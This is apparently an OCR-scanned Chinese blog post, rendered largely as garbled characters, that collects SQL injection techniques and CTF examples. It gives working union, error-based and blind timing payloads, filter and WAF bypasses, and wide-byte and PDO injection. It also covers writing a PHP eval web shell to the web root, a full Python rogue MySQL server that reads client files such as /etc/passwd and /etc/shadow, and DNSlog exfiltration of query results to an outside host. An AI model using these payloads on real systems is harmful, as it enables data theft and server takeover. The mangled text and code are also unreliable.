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select balabala from tablel where bbb="d union select datab

" union select database()

BRBIEFEE TR EERA:


https://blog.csdn.net/weixin_39867125
https://so.csdn.net/so/search/s.do?q=sql%25E6%25B3%25A8%25E5%2585%25A5%25E7%25A9%25BA%25E6%25A0%25BC%25E8%25A2%25AB%25E8%25BF%2587%25E6%25BB%25A4&t=blog&o=vip&s=&l=&f=&viparticle=

" union selectgroup_concat(table_name) from information_schema.tables where
table_schema=database()%23

ETRRTBA:

" union selectgroup_concat(column_name) from information_schema.columns where
table_name='"table1'%23

from tablel where *’ union s lumn_name) from information_

5207 B4 J5 B A R B

" union select flag from table1%23

lel where bbb="" union select flag from tablel:




oct balabala from tablel where 1=1 order by rand(True);
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order byrand(database()="pdotest')

oct balabala from tablel where 1=1 order by rand(d:
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selectcount(*) from information_schema.tables A information_schema.tables B,information_schema.tables C

select balabala from table1 where'1'="2'orif(ascii(substr(database(),1,1))>0,(selectcount(*) from
information_schema.tables A, information_schema.tables B,information_schema.tables C),0)



HR/RTIERT K2t 2 37
BT LB — M R EE, FEM A session, 78— sessionH N8

selectget_lock('test',1)

X5 3 — A sessionh AT E i :
selectget_lock('test',5)

5%_‘4\E§[]:

5.rlike+rpad

rpad(1,3,'a’)2 18 FalE 7 5 — LA 755 5 LUK B 58 AL K B 8 A B iR B K Fo 4 Fi B4 rpad ()38 78 34952541
£/ rpad() Al BA3E 7844~34952507, B LRI H -

select * from table1
where1=1andif(mid(user(),1,1)="r',concat(rpad(1,349525,'a"),rpad(1,349525,'a"),rpad(1,349525,'a"))
RLIKE'(a.)+(a.”)+(a.”)+(a.*)+(a.*)+(a.*)+(a.*)+asdasdsadasd',1);

DA EFT S RAMMAK B KRIEAKE, EHNEP, R/ERasdasdasdx it (6K EH EXFW, 7] LK HKE DL
RIS FEIX A AR 17D :

select * from table1
where1=1andif(mid(user(),1,1)="r',concat(rpad(1,349525,'a"),rpad(1,349525,'a"),rpad(1,349525,'a"))
RLIKE'(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.”)+
(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaas

Fl I k
XA AR 2P :

select * from table1
where1=1andif(mid(user(),1,1)="r',concat(rpad(1,349525,'a"),rpad(1,349525,'a"),rpad(1,349525,'a"))
RLIKE'(a.*)+(a.*)+(a.*)+(a.”)+(a.*)+(a.”)+
(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaas
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{center><hl>Please login!</hl><{/center><{br>{center>tips:post username and password...<{/center>
(I—— $sql="select * from users where username="$username’ and password='$password’”; —>



POST Jwebd baccus Index. php HTTRS1.A

Host: ctfs.shiyanbar.com

User—agent: Mozllla/5.0 (Windows NT 10.00 WinGd: x64; mes7.0)

Gecko/ 20100101 Firefox/57.0

Accept: text/htmlLapplication/ xhtmi+xmlapplication’xmEg=0.5."/"q=0.8
Accept—LangLoges:
zh=CM,zh,g=0.8,2h=TW:.q=0.7.2h=HK:q=0.5,en-USq=0.3,enq=0.2
Accept—Encoding: gzlp, deflate

Referer: httpy /ctf5.shivanbar.com./web/ baocuc/ Index.php
Content=Type: application’ x—=www=Fform=urlencoded

Content=Langth: B6

Cookie:
Him_vt_3406F7353ab081 5a4cE5 B8 2e451 60T Fbe3=1515643180,1515644700.15156558
13,1515833251

HmM_cw 3406735 30b0815a4c5 8 2e4516drboa=1"viskor™1 28558 % 2Gnick Name 4
3AYEGYHIBH B2 E 42 BAY A E 42 BEYMEC: gld=g T5E5IZFmBlgAatDX:
lid=1_UMEZhJBNGI RwNFQH:

Him I pt 3406 7353ab08 S5a4c582e4518d4FFbe3=1515533311;
PHPSESSID=0ecomsihplliueb23genG kIObTs

Connectlon: keep=-alhe

Upgrade-Insacurae—Requests: 1

Cache=Control: max-age=0

usarname=1' or extractvalue/ " &password=1"/(1.concat(ox7e.iselect
databasal))oxTellor’

| 2
Done
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' B B EJ Type a search ferm 0 matches

RFERUE AR T AT HE A, K password S 8 L R

HTTP/1.1 200 0K

Date: Sun, 14 Jan 2018 14:08:34 GMT

Sarver: Apache’ 2.4.18 (WiN32) OpensSsLA1.0.2e PHP/5.2.17
X=Powered-By: PHP/5.2,17

Content—Length: 43

Keap—Alhe: tinesut=5, max=100

Connectlon: Keep=Alhe

Content—Type: text/html

ChrEXPATH syntax error: ‘~error_bosed hpf-|

? < + = Type a search ferm

Te

-
L

0 matches

283 bytes | 1,066 millis

select * fromuserswhere username="'1'or extractvalue/*and password="1"/(1,concat(0x7e,

(selectdatabase()),0x7e))) or";

HRXMEANARZRG] SEARTIE . MRIEAKRLHE, HLBHRL HAKT7Xm:

POST username=1"' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '"1&password=1

B

select * fromuserswhere username="1'orif(ascii(substr(database(),1,1))>0,sleep(3),0)

or'l'andpassword="1'

BEH — M FRGYCTFHE —iEsqiE N E, @itk

<?php
$pdo = new PDO( mysql:host=localhost;dbname=sqlsql;charset=utf8;",
$pdo—>setAttribute (PDO: : ATTR_DEFAULT _FETCH_MODE, PDO::FETCH_ASSQC) ;
$stmt = $pdo->prepare(”SELECT username from users where username= ${_POST[ username’]}’
$stmt—rexecute() ;
$result = $stmt—>fetchall():
if (count(Sresult) > 0) {
if ($result[0][ username’] == ’admin') |
include (" flag. php');
exit();

T 9E T Z#%, union, #,—+,/*\or,|

ARER:

»

R
xxx', xxx');

XA LT 2R fblor "'="1"73 BEHRL BT ARIEANBUA K ATRE T

A] LAZ% [EX% passwordfE A iR B 2 BRI A8 A :

username=admin‘and(strcmp(&password=,'asdasdasdasdasdasd'))and'1

and password=" ${_POST[ password 1}’ ”):



PR

select username fromuserswhere username='admin'and(stremp(‘and
password=','asdasdasdasdasdasd'))and'1'

stremptbd, —FHEA—FHUREITrue, —#RFEFalse, MMySQLER"1" AW w71, BiTrue, HMZEMIEH]
R NTrue

»bb from tablel where balabala="" union

AT AR RGOS —BWAF, S SdE#

B, AR REFERRERSIT, BT KSR RA AT AHAT B (B0 3 R B 7E 3 L8 I IR A AT ):
select bbb from table1 where balabala="union se/*/lect database()?/,

4.13 F 163t 1 52 i 45 5 7 A

IR W FBRANHMRR A POLIE, BUREEE R & TR d I8, W AT A 163t H S8id -
select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273 A~ users) 1653 il

5.% 7% . Latin12RiA 455

BFHHEA

RT 85 S8 X, E55AgbkmHIERL T, AERFHAELERFTEI, WER—MRERFR:
username = %df'#

ZobkERLEZ A

select * from users where username ="i£'#

RINAE T 855,

Latin14i 53

MysqlZR B gmtDERIN Alatint, R B FZRFE A8, WL —Klatin1 A Mutf8H & F KZEAF, MMysql=Zm
] R B IX e F RF U 2 B 2 RN

FRRATA LU A 2username=admin%c2, #&E &3 % T admin
T %27 Bl %c2-%el 2 1A IAE R 54

6.5~ LA & R B AR &

BFHRE:
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REFH

false. !pi()

true. 1(!pi())

true+true

floor(pi())~ ~~pi()
ceil(pi())

floor(version()) /7 B AR A
ceil(version())
ceil(pi()+pi())
floor(version()+pi())

floor(pi()*pi())

9

REFH

ceil(pi()"pi())

ceil(pi()*pi())+true

ceil(pi()+pi()+version())

floor(pi()*pi()+pi())

ceil(pi()*pi()+pi())

ceil(pi()*pi()+version())

floor(pi()*version())

ceil(pi()*version())

ceil(pi()*version())+true

floor((pi()+pi())*pi())

HAp(Ipi)RBE AR BA BT, EAFEREH

HHFERFRENR
and -> &&

or-> ||

8-> [** -> %al -> %0a -> +

#-> —+ -> %00(php<=) -> or '1'="1

= -> like -> regexp -> <> ->in

¥: regexpNIENILES, R IEN <6 SHEEANTFR

W R B & AR
TR BRI PHE R
#HE

g

SUBSTR(str,N_start,N_length)

SUBSTRING()

RIGHT (str,len)

LEFT(str,len)

RPAD(str,len,padstr)

Bt 9

B

SR E PR B AT A, ASUBSTRINGHI A SR -

Z M ASUBSTRING(str,pos). SUBSTRING(str FROM pos). SUBSTRING(str,pos,len)+
SUBSTRING(str FROM pos FOR len).

X € AT B B D B K.

X 58 AT B IR AL T R AR B K

. F

ceil((pi()+pi())"pi())

ceil(ceil(pi())*version())

ceil(pi()*ceil(pi()+pi()))

ceil((pi()+ceil(pi()))"pi())

ceil(pi())*ceil(version())

floor(pi()*(version()+pi()))

floor(version()*version())

ceil(version()*version())

ceil(pi()pi()pi()-pi()

floor(pi()pi()floor(pi()))

RE %

1E str 7455 len ALEFERF & padstr, REFFRFE. WHE str KEXT len, W& EE R B 48 0
F len Fifg EIKEE.



LPAD(str,len,padstr) 5RPADAHL, FEstriciliiht.
MID(str,pos,len) [AF SUBSTRING(str,pos,len).

FEFRIEFRFE str b, ¥ BELEEE pos LM, KEN len MERFER B BN FEFE newstr, Rf5
INSERT (str,pos,len,newstr)

IR [Bl 20 B e 5 BT/ 8 . INSERT (str,len,1,0x0) T 24 B &8 $ .
CONCAT(str1,str2...) R TR EANZRFBEEIN—NFRHE
GROUP_CONCAT(...) BBl —ANFRR R, %45 R i H P E B AR

RIESH, REFWMALBHSHE. TREMRREE, W

MAKE_SET (bits,str1,str2,...)
EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710"))»

HEEH L]

LENGTH(str) 1R[] 75 B R BE

PI() I8 BT i B A B

REGEXP "statement" IE VT AC#5d , aR [EME A AR R B .

LIKE "statement" TLECHUE, %REBEBNE. REMEAMRE.

RLIKE "statement" SregexptiH .

LOCATE(substr,str,[pos]) R [EF AR — R I E

POSITION(substr IN str) % [FF LOCATE().

LOWER(str) KrAHFBENRE FREMERNS. F: LCASE(str).

UPPER(str) BARBRN/NEZEEHERRE. F: UCASE(str).

ELT(N,str1,str2,str3,...) 5MAKE_SET (bit,str1,str2...) 20, HRIENIE B 51E .

NULLIF (expr1,expr2) FrexpriGexpr2#f[F, WREexprt, 7MW ENULL,

CHARSET (str) I& [ 77 B8 45 FH I R4

DECODE(crypt_str,pass_str) {$F pass_str fE AR, fREINEFFFE crypt_str. JN%E%: ENCODE(str,pass_str).
Fjoinft# :

-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

limit:
limit 2,1
limit 1 offset 2

substr:

substr(database(),5,1)

substr(database() from 5 for 1) from#y 2 JIANZ /46, for A& LA
substr(database() from 5)#n Fforth g id € T
mid(REVERSE(mid(database()from(-5)))from(-1)) reversef Jz 4, midflsubstrZ &



if:

if(database()="xxx,sleep(3),1)

id=1 and databse()="xxx' and sleep(3)

select case when database()="xxx then sleep(5) else 0 end

select user from users limit 1

INPR 2%, e

select user from users group by user_id having user_id = 1 (user_id#& %+ i —4>column)
innodb5| ¥ v . innodb_index_stats, HEWK SR, #BIE BILRBIXHEANRH
BRibzsh, B4R, ATRFEBNVESE, EEERT A Finformation_schema

A HBHEFRF! A ~LLKnot xor kAR & :

fln:

HMEMH=H

HMRAE=1R

HN(EMR))=’&

FE-RIIHAE

eg: select bbb from table1 where '29'="29"Nf(ascii(substr(database(),1,1))>0,sleep(3),0)M;
Hisleep(3), MBRNITCH FE

joiniE A8 351 4 -

FM: AEE(FMZR T THULEETHEIEE, WRERERI T ITIET LK)
B4

select * from(select * from table1 a join (select * from table1)b)c

mvsql> select ®% from(select * from tablel a join (select * from tablel)b)c;

ERROR 1060 (42521): Duplicate column name " balabala’

BoAFA:

select * from(select * from table1 a join (select * from table1)b using(balabala))c

ﬁ_fram{ze' ¥ from tablel a join (select # from tablel)b using(balabala))c;

)60 (42521): Duplicate column name " eihey’

BEAFNA:

select * from(select * from table1 a join (select * from table1)b using(balabala,eihey))c

¥ from tablel a join (select * from tablel)b using(balabala, eihev))c;

> column name ’flag

DABLIRHE. ...
FESEZPR N B RR IR AR DA T W sk R b



F4eLFselect xxx from xxx where '1'="1" and 1&4)="a’

joinFi I 5 4 EH#TEAN -

ERRBI A TRERBE, HEATEAEI LA RNFERAE:

KA 74 : union select 1,(select b.2 from (select 1,2,3,4 union select * from table1)b limit 1,1),3

%iEH) B (select 1,2,3,4 union select * from users) & #1145 R1E AEKD, REMNEDKIZE1/2/3/45| & 45 R
2R, 1,2,3 4K %0 H ZRAER KI5 4 K% B R 5E

select * from table1 where'1'="orif(ascii(substr((select b.2from (select1,2,3,4unionselect * from table1)b
limit3,1),1,1))>1,sleep(3),0)

2.4t B vE \ &select#t i 38

select@f it I8 — B R G EHEBSIENME N T AT AGRE, BT A FA T Eselectn] b H #: H passwordsl # flag
HATE B

EHRESEANZ TR, REANTTEAERA:

1.9 % % -

Bk, PgmiERR 7B ESQLIE N ASME T AERATSQLIE N EH], FIERTIE]:

id=1";Set @x=0x31;Prepare a from "select balabala from table1 where 1=?";Execute a using @Xx;
1%

set
@x=0x73656c6563742062616c6162616c612066726f6d207461626c653120776865726520313d31;prepare a
from @xexecute a;

T — K 5 163k & select balabala from table1 where 1=11163# #l

=il

Handler&Mysql## A K2 EREWER, FFRHINESQLIzHEF, FrEASQL Serverds & ¥ A Handler& #
Handler®s # ff F

handler table1 open as fuck;//#] JF 5] 4%

handler fuck read first;/[iFi 7B 55 —%

handler fuck read next;//ifi A FB T —%

handler fuck close;//3% A
1F ) =] 3 BUG

PHP AR 1L IENZRIAEXFIDDos, Zpcrei s T BIWXRE LR, BRIANR100/GK, #EEiEiXA BRI ILESSE, W
H¥#iR [FIFalse.



% 4N FEAE preg_match("/union.+?select/ig",input) it #€1E N, W FRATTAT LLE S Hig
union/*100%7-71*/select

RIS U

& T RSQLEA

PDORF A THI=T& &

PDO::ATTR_EMULATE_PREPARES

PDO::ATTR_ERRMODE

PDO:MYSQL_ATTR_MULTI_STATEMENTS

BBUABH S %, W AFalse, WAFAESQLIEN; WRANTrue, NPDOJFAERIERI TG %, TR HA
G—HUAFRR, HESURRFR. PR R gbkgmid M A 1E 5 F i iEN.

BTN, WIREATrue, AIRERE —HER.

BEBOAZAPAT, WRBATrue, HE Bt ATrue, WESHFAEREFT+HHESENKINEKRR.
HFHBFEFERN A —RXE:

M BE NN IRPDO) J5 3 1R 7 45 A

EAN(REELKER)

BT RA

INRFE—KEAA

select bbb from table1 limitO, 1

JRTE R E S %, W AT 7E 5 H #union select:

select bbb from table1 limit0,1unionselectdatabase();

I RAEWIEF A T order by:

select bbb from table1 orderby balabala limit0,1

,» MIFT AW FEAEN:

select bbb from table1 orderby balabala limit0O,1PROCEDURE analyse(1,1)
Hep 1 o A B ERE R

6AF PRI E

(1)&E W EIh 5 mysql error

5 @A RBEEAR, XREERSEEIATERIIAmMysql error, itk R fEE S W] e SIS HIEN KL,
DL ) B T B P R A R O

BHAEH: cot(0), pow(999999,999999), exp(710)

JUfATE%k: polygon(ans), linestring(ans)



BR] e F) DA B8 T T B2 SR G 1B ) -
parameter=1 and #&#] or cot(0)

HIEAIAE, MERE IES R ZEEEKcot(0); iEaINMR, WHAT S HKIcot(0)Hk 4

o Gl E

select * from table1 where1=1andif(mid(user(),1,1)="r,benchmark(10000000,sha1(1)),1) and cot(0);
511

select * from table1

where 1=1andif(mid(user(),1,1)="r',concat(rpad(1,349525,'a'),rpad(1,349525,'a"),rpad(1,349525,'a"))
RLIKE'(a.*)+(a.*)+(a.*)+(a.”)+(a.*)+(a.”)+
(a.*)tasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaas
and cot(0);

Frpad+rlike B\ K& benchmark B [8] 3% 7] LAsZh, {E2&sleep() A AT LA, AXRIEHEEH .
(2)mysql errorf fi 3 F ZE B} 5 A ZE B
XANERRAE S, REAEERNSERNERAS, —EEmysql error

ERBREIRFIHAE. ... MR web B BB R XK FR, insertiE AMER R R A 205%654E, FTUAEAH
Emysql errorsRik EITEAN BN BRI %A T EIER B BT, T1% WM 5 A Writeup+ i $ik

BB AR RS EA R, B2 EHErpad+rlikef IR RIEHE, FN4Asleepll X2 BRZEEEK, HEES
Wikrpad+riike M1 G, XN HIEBR:

& or if(i&A),rpadfE it & f)="a",1) and cot(0)

XK, TREARERR, #HEEGEMIToot(0), WA

MARERNE, WIER, WREAER, WAER, XM7ERKERTHEK

payload:

select * from table1 where 1=0orif(mid(user(),1,1)="s','/a'=benchmark(1000000,sha1(1)),1) and cot(0);

5%



select * from table1

where 1=0orif(mid(user(),1,1)="s','a'=concat(rpad(1,349525,'a"),rpad(1,349525,'a"),rpad(1,349525,'a"))
RLIKE'(a.*)+(a.*)+(a.*)+(a.”)+(a.*)+(a.”)+
(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaas
and cot(0);

o e F

LaR, LR AR B F sleep() i 75 st R FT LA
LR B cot(0)& 4, Bicot(False)aHikts, Frbl R E ik # NFalsell b & & AT
I B A 5038 sleep(x) & [ 1 4 0:

op (1) from tablel limit 1:

XEEMREF ST, f(EA),sleep(3),0), XFIEAAE NELRMBHAIR B False
Bt LA i 15 )

select * from table1 where'1'="1'and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));
(B)rRA KM

RERFMAREFERSL, BEIMEEEEFNRSE, TEAHEZHR.
V.S

1.3 5 BUR

FEHATMySQLY R S #IE L BT E A B F R BMEBR, mysqlsCHARZ I T mysql& fifile_privF B, X RA
Rl User, tRATLART, WHEELCFAY, RZAN:

AT user(VEE AT A4, WRNMEP R RERR, WETE, RZUBFF X R BRI A
Jitke

BRTESERPNR, &6 M 5ERE, Esecure-file-priv. ER—NRERE, HTHREEEThEE, &
FIEA =

()EAZ, EIERH]
(2UANULL, FRHEIE A

B)NEHFRA, FRRELE T TS



A] Fiselect @@secure_file_priv&E:

AL WindowsHh g, 7 LS i) H 3 N E:wamp64tmp

2.3 3

IR R LIR2A4N A, WA 2T X T .

% PR SO BB A R L

selectload_file(file_path);

load data infile "/etc/passwd"into table FE ELFF7EIF 4 FIELDS TERMINATED BY 'n'; #is BUIR 55 3 SC#F

load data local infile "/etc/passwd"into table fE B AZ7ERIF 4% FIELDS TERMINATED BY 'n'; #ist BU& P 4 SC4H

TEERKE, file_pathDZUNZN R4, HRFHLTE EHE L

A B S 3 B g

Wi RN https://paper.seebug.org/1112/

exp:
A

TrfilelistR FE RN XHFIR, FEEHTRE, ZRAFTE-NEEmMysqlikRE i, #HATexplr & Emysql
AR S5 B % R I, 7E H bR 55 2% 5 5% % B mysql iR 55 i

#l/usr/bin/env python



#coding: utf8

import socket

import asyncore

import asynchat

import struct

import random

import logging

import logging.handlers

PORT = 3306

log = logging.getLogger(__name_ )
0

tmp_format = (", 'ab')
(("%(asctime)s: %(levelname)s: %(message)s"))

(

tmp_format
)

filelist = (
#re’

r'e',

# r'c:windowssystem32driversetchosts’,
# Jetc/passwd,

# Jetc/shadow’,

__author__ = "Gifts'
defdaemonize():
import os, warnings
if 0s.name != "posix:

(‘Cant create daemon on non-posix system')



return

if os.fork(): (0)

()

if os.fork(): (0)

(00022)

null=("/dev/null', )

for i in xrange(3):

try:

(null, i)

except OSError as e:

if e.errno != 9: raise

os.close(null)
classLastPacket(Exception):

pass

classOutOfOrder(Exception):

pass

classmysql_packet(object):
packet_header = ('<Hbb')
packet_header_long = ('<Hbbb'")
def__init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:

self.packet_num = packet_type
self.payload = payload
def__str__(self):

payload_len = len(self.payload)

if payload_len < 65536:

header = (payload_len, 0, self.packet_num)
else:

header = (payload_len & OxFFFF, payload_len >> 16, 0, )



result = "{0K1}".format(

header,

self.payload

)

return result

def__repr__(self):

return repr(str(self))

@staticmethod

defparse(raw_data):

packet_num = ord(raw_data[0])

payload = raw_data[1:]

return mysql_packet(packet_num, payload)
classhttp_request_handler(asynchat.async_chat):
def__init__(self, addr):

.__init__(self, sock=addr[0])

self.addr = addr[1]

self.ibuffer =[]

self.set_terminator(3)

self.state = 'LEN'

self.sub_state = 'Auth’

self.logined = False

self.push(

mysql_packet(

0,
" join((

'x0a', # Protocol
"+ " # Version

#'+"

'x36x00x00x00', # Thread ID

'evilsalt' + ", # Salt

'xdfxf7', # Capabilities



'x08', # Collation
'x02x00', # Server Status
" * 13, # Unknown
'evil2222' + ",

)

)

)

self.order = 1

self.states = [LOGIN', 'CAPS', 'ANY']
defpush(self, data):

('Pushed: %r', data)

data = str(data)

.push(self, data)
defcollect_incoming_data(self, data):
(‘Data recved: %r', data)
self.ibuffer.append(data)
deffound_terminator(self):

data = ".join(self.ibuffer)
self.ibuffer =[]

ifself.state == 'LEN":
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self state = 'Data’

else:

self.state = 'MoreLength'

elif self.state == 'MoreLength":
if data[0] 1=":
self.push(None)

self.close_when_done()

else:



self state = 'Data’

elif self.state == 'Data".
packet = (data)

try:

ifself.order != packet.packet_num:
raise OutOfOrder()

else:

#Fix ?

self.order = packet.packet num + 2
if packet.packet_num == 0:

if packet.payload[0] == 'x03":
(‘Query")

filename = (filelist)

PACKET = mysql_packet(
packet,
'xFB{0}'.format(filename)

)

self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)

elif packet.payload[0] == 'x1b"
(‘SelectDB')
self.push(mysql_packet(
packet,

'xfex00x00x02x00'

)

raise LastPacket()

elif packet.payload[0] in'x02":
self.push(mysql_packet(

packet, 'x02'



))

raise LastPacket()

elif packet.payload == 'x00x01":
self.push(None)
self.close_when_done()

else:

raise ValueError()

else:

ifself.sub_state == 'File":

(*-- result’)

(‘Result: %r', data)

if len(data) == 1:

self.push(
mysql_packet(packet, 'x02')

)

raise LastPacket()

else:

self.set_terminator(3)
self.state = 'LEN'

self.order = packet.packet_ num + 1
elif self.sub_state == "Auth":
self.push(mysql_packet(
packet, 'x02'

)

raise LastPacket()

else:

(- else")

raise ValueError('Unknown packet')
except LastPacket:

('Last packet')

self.state = 'LEN'



self.sub_state = None
self.order=0
self.set_terminator(3)

except OutOfOrder:

('Out of order")

self.push(None)
self.close_when_done()

else:

('Unknown state')
self.push('None')
self.close_when_done()
classmysql_listener(asyncore.dispatcher):
def__init__(self, sock=None):
.__init__(self, sock)

ifnotsock:
self.create_socket(socket. AF_INET, socket. SOCK_STREAM)
self.set_reuse_addr()

try:

self.bind((", PORT))

except socket.error:

exit()

self.listen(5)
defhandle_accept(self):

pair = self.accept()

if pair is notNone:

(‘Conn from: %r', pair[1])

tmp = http_request_handler(pair)
z = mysql_listener()

daemonize()

0

select 1,"<?phpeval($_POST['cmd");?>" into outfile '/var/www/html/";



select 2,"<?phpeval($_POST['cmd");?>" into dumpfile 'var/www/html/;
%secure_file_priviE ANULLEY, B F A4k H & 77580 :

setglobal general_log_file = '/var/www/html/";

setglobal general_log = on;

H&ER T general_logit B Hth¥r £ HE, KEaRTPBREFLBHEADENBUR, AREHEBEANRFMAT
TRAZITE, B A 3R .

= F P U5 EIDNSHR S 4%, W&7EDNSHEHE Fidx. MRERFHASQLEMKEE, N{E R FIHH H
DNSigxH.

A 2

N BA U BULR

2. H#rAwindows(FIFH TUNC, LinuxAal4T)

3.7t 1Bl . H Ty 18] B i

MM T5 -

A BA#R—™ 4 % I DNSlog:

HENJE AR — AT, AT

selectload_file(concat('\\',(selectdatabase()),. F1%4.");

2T V519 T select database(). 734., TRLE TDNSLOGIE %, Al NIXEExHEFSQLEEIKER
DNS Query Record

aaa.7l4zly.dnslog.cn

aaa.7l4zly.dnslog.cn

aaa.7l4zly.dnslog.cn

aaa.7l4zly.dnslog.cn

aaa.7l4zly.dnslog.cn
aaa.7l4zly.dnslog.cn
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